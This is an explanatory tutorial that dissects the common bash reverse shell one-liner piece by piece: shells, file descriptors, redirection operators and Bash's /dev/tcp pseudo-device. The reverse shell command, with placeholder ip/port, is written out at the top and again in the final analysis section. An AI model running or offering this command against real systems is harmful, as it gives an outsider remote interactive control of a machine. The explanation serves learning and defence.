# Analysis of common bash reverse shell from first principles
bash -i &> /dev/tcp/ip/port 0>&1
bash -c 'bash -i &> /dev/tcp/ip/port 0>&1'
- What Exact is a Shell?
A "Shell" is a collective term for various command interpreters, where built-in commands are processed by the currently active Shell program.
The core function of a Shell is to act as an interpreter: it receives user commands (such as ls, cd), parses them, passes them to the Linux kernel for execution, and returns the results to the user.
Think of "Shell" as a category of tools, similar to how "smartphone" is a category containing various brands, not a single unified device.
You actually use specific Shell programs (like /bin/bash, /bin/dash, /bin/zsh, /bin/sh), which are independent programs belonging to the Shell category.
For example, /bin/sh was one of the earliest Shell implementations (Bourne Shell, 1979), historically the standard Shell on Unix/Linux systems. However, in many modern Linux distributions, /bin/sh is now a smybolic link pointing to more modern Shells:
- In Ubuntu/Debian: typically points to
dash(lightweight, POSIX-compliant) - In CentOS/RHEL: typically points to
bash(enhanced Bourne Shell)
When you type bash in terminal, you switch to the /bin/bash Shell; typing zsh switches to /bin/zsh - these are different programs, not a single entity.
Command Execution Process:
- Read
- Parse
- Execute
- Post-execute
Execution details:
1. Built-in Commands: Shell executes directly
If command is built-in (cd, echo, export), Shell calls internal functions
Example: cd /tmp modifies current directory directly
2. External Commands: Create subprocess
Shell searches $PATH for executable
Creates child process via fork()
Child uses execve() to load and execute program
Parent waits for completion (foreground) or continues (background with &)
When switching to bash with bash, you gain additional features like /dev/tcp support, wich sh typically lacks.
Common Linux Shell types:
1) Bourne Shell (sh): Original Unix Shell, minimal features
2) C Shell (csh) & tcsh: C-style syntax, job control, history
3) Korn Shell (ksh): Combines sh and csh features, POSIX compliant
4) Bourne Again Shell (bash): Enhanced sh with interactive features
5) Z Shell (zsh): bash extension with themes, plugins, advanced completion
Use type or command -V to determine if a command is built-in or external.
- Understanding File Descriptors
In Linux, everything is a file. The kernel uses a structure array to manage open files, where each array index is a file descriptor (FD). Processes use FDs to operate on files.
Default File Descriptors:
0(stdin): Standard input (default: keyboard)1(stdout): Standard output (default: terminal)2(stderr): Standard error (default: terminal)
Redirection Operators:
> - Output redirection (equivalent to 1>)
Example: echo "hello" > test.txt - Redirects stdout to file (overwrites)
>> - Append output redirection (equivalent to 1>>)
Example: echo "world" >> test.txt - Appends to file
< - Input redirection (equivalent to 0<)
Example: cat < 1.txt - Reads from file instead of keyboard
>& - Output descriptor redirection
Syntax: n>&m - Redirect FD n to FD m's destination
echo "error" > output.txt 2>&1
# Process:
# 1. Redirect stdout (1) to output.txt
# 2. Redirect stderr (2) to stdout's current destination (output.txt)
<& - Input descriptor redirection
Syntax: n<&m - Redirect FD n's input from FD m's source
- The /dev/tcp Pseudo-Device
/dev/tcp is not a real device file but a Bash-specific pseudo-device for TCP networking. It enables direct TCP connections in shell scripts without external tools.
Working Principle:
When Bash encounters /dev/tcp/host/port in redirection:
- Parses hostname and port
- Establishes TCP connection
- Associates file descriptor with the connection
- Enables file-like read/write operations
Basic Usage:
# Open bidirectional connection using FD 3
exec 3<>/dev/tcp/192.168.1.100/8080
# Send HTTP request
echo -e "GET / HTTP/1.1\r\nHost: 192.168.1.100\r\nConnection: close\r\n\r\n" >&3
# Read response
cat <&3
The <> operator opens the resource for both reading and writing, associating it with the specified file descriptor.
- Reverse Shell Command Analysis
bash -i &> /dev/tcp/ip/port 0>&1
Breakdown:
bash -i: Launches interactive shell&>: Syntactic sugar for> target 2>&1- First redirects stdout (1) to target
- Then redirects stderr (2) to stdout's destination
0>&1: Redirects stdin (0) to stdout's current destination (the network socket)
Note: 0>&1 works for bidirectional TCP connections, though 0<&1 might seem more logical for input redirection.
Why use bash -c?
The /dev/tcp feature is Bash-specific. When executing from other shells (like sh), we need bash -c to execute the command string in a Bash environment:
bash -c 'bash -i &> /dev/tcp/ip/port 0>&1'